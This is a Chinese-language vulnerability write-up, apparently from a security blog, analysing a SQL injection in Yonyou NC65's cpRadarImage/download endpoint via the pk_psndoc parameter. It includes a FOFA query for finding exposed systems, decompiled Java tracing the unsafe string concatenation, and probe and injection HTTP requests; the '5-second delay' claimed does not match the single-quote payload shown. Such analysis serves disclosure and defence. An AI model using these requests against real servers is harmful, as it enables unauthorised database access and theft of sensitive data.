用友NC cpRadarImage/download sql注入漏洞


漏洞简介

用友NC系统/portal/pt/cpRadarImage/download接口中的pk_psndoc参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

本来是根据官方漏洞通告可知SQL注入点在 cpRadarImage 接口

因此搜索 cpRadarImage 方法的实现部分即可定位文件

nc/bs/hrss/pub/action/CpRadarImageAction.class

package nc.bs.hrss.pub.action;

import java.io.File;
import java.io.FileInputStream;
import java.io.OutputStream;
import nc.bs.framework.common.RuntimeEnv;
import nc.bs.hrss.cp.cpAnalysis.CPAnalysisMngCataPanel;
import nc.bs.hrss.cp.cpPortlet.ctrl.CPPortletViewMain;
import nc.bs.hrss.pub.exception.HrssException;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.vo.hr.tools.formconfig.CodeGenUtils;
import nc.vo.ml.NCLangRes4VoTransl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.ArrayUtils;
import uap.lfw.core.ml.LfwResBundle;

@Servlet(
    path = "/cpRadarImage"
)
public class CpRadarImageAction extends BaseAction {
    public CpRadarImageAction() {
    }

    @Action
    public void download() {
        OutputStream out = null;
        byte[] pngBytes = null;

        try {
            this.request.setCharacterEncoding("UTF-8");
            String pk_psndoc = this.request.getParameter("pk_psndoc");
            String object_id = this.request.getParameter("object_id");
            String object_type = this.request.getParameter("object_type");
            String size = this.request.getParameter("size");
            FileInputStream finput = null;

            try {
                if ("0".equals(size)) {
                    pngBytes = CPPortletViewMain.queryRadarChartByCond(CPAnalysisMngCataPanel.POST, pk_psndoc, object_id);
                } else if ("1".equals(size)) {
                    pngBytes = CPPortletViewMain.queryRadarChartByCond(Integer.parseInt(object_type), pk_psndoc, object_id);
                } else if ("2".equals(size)) {
                    pngBytes = CPPortletViewMain.queryBigRadarChartByCond(Integer.parseInt(object_type), pk_psndoc, object_id, 680, 400, 340, 50);
                }

                if (ArrayUtils.isEmpty(pngBytes)) {
                    String themeId = LfwRuntimeEnvironment.getThemeId();
                    String strSrcDir = CodeGenUtils.buildFileURL(RuntimeEnv.getInstance().getNCHome(), new String[]{"hotwebs", "lfw", "frame", "device_pc", "themes", themeId, "ext", "hrss", "cp", "evalueRadar_image.png", ""});
                    File file = new File(strSrcDir);
                    finput = new FileInputStream(file);
                    pngBytes = new byte[finput.available()];
                }

                if (ArrayUtils.isEmpty(pngBytes)) {
                    throw new HrssException(NCLangRes4VoTransl.getNCLangRes().getStrByID("c_cp-res", "0c_cp-res0041"));
                }

                out = this.response.getOutputStream();
                this.response.setContentType("image/png");
                out.write(pngBytes);
                out.flush();
            } catch (HrssException e) {
                e.deal();
            } catch (Exception e) {
                (new HrssException(e)).deal();
            } finally {
                if (finput != null) {
                    finput.close();
                }

            }
        } catch (Exception e) {
            throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("c_pub-res", "0c_pub-res0051"), e);
        } finally {
            IOUtils.closeQuietly(out);
        }

    }
}

pk_psndoc 参数直接代入 CPPortletViewMain.queryRadarChartByCond 函数,其实现逻辑如下

public byte[] queryRadarChartByCond(Integer object_type, String pk_psndoc, String object_id) throws BusinessException {
        GeneralVO[] indiResults = this.queryindiAnalysisResult(object_type, pk_psndoc, object_id);
        if (ArrayUtils.isEmpty(indiResults)) {
            return this.createSimpleChart(object_type, 400, 360, 200, 30);
        } else {
            AbilityMatchVO[] matchVOs = new AbilityMatchVO[indiResults.length];

            for(int i = 0; i < matchVOs.length; ++i) {
                matchVOs[i] = new AbilityMatchVO();
                matchVOs[i].setReqRank(new Double(indiResults[i].getAttributeValue("req_score").toString()));
                matchVOs[i].setActRank(new Double(indiResults[i].getAttributeValue("get_score").toString()));
                matchVOs[i].setIndiName((String)indiResults[i].getAttributeValue("indiname"));
            }

            return (new RadarChartViewer()).drawRadar(matchVOs, this.getRadarTitle(object_type), ResHelper.getString("6004matchay", "06004matchay0015"), 400, 360, 200, 30);
        }
    }

跟进 queryindiAnalysisResult 函数,其实现如下

public GeneralVO[] queryindiAnalysisResult(Integer object_type, String pk_psndoc, String object_id) throws BusinessException {
        String psnjobsql = " hi_psnjob.ismainjob='Y' and hi_psnjob.endflag='N' and hi_psnjob.lastflag='Y' and hi_psnjob.pk_psndoc = '" + pk_psndoc + "'";
        PsnJobVO[] psnJobVOs = (PsnJobVO[])((IPersistenceRetrieve)NCLocator.getInstance().lookup(IPersistenceRetrieve.class)).retrieveByClause((String)null, PsnJobVO.class, psnjobsql);
        if (ArrayUtils.isEmpty(psnJobVOs)) {
            return null;
        } else {
            String pk_psnjob = psnJobVOs[0].getPk_psnjob();
            GeneralVO[] indiInfo = ((IMatchAnalyseQueryMaintain)NCLocator.getInstance().lookup(IMatchAnalyseQueryMaintain.class)).queryMatchObjPsnIndiResult((String)null, object_id, object_type, (String)null, pk_psnjob);
            return indiInfo;
        }
    }

直接将 pk_psndoc 拼接进SQL语句中,然后将拼接后的SQL语句带入 retrieveByClause 函数后最终还是使用 executeQuery 来执行SQL语句,无任何过滤或校验,造成SQL注入漏洞。

漏洞复现

可先通过如下请求来确定目标是否存在此接口及其响应,如果存在此模块,则会响应一个图片内容

GET /portal/pt/cpRadarImage/download?object_id=1&object_type=1&pageId=login&pk_psndoc=1&size=0 HTTP/1.1
Host: nc65.mrxn.net

漏洞利用示例

GET /portal/pt/cpRadarImage/download?object_id=1&object_type=1&pageId=login&pk_psndoc=1'&size=0 HTTP/1.1
Host: nc65.mrxn.net

成功延时 5 秒

参考

  • https://security.yonyou.com/#/noticeInfo?id=568

手机扫码阅读

JeeWMS druid 未授权访问漏洞

NetMizer日志管理系统 troubleip.php 命令执行漏洞

评 论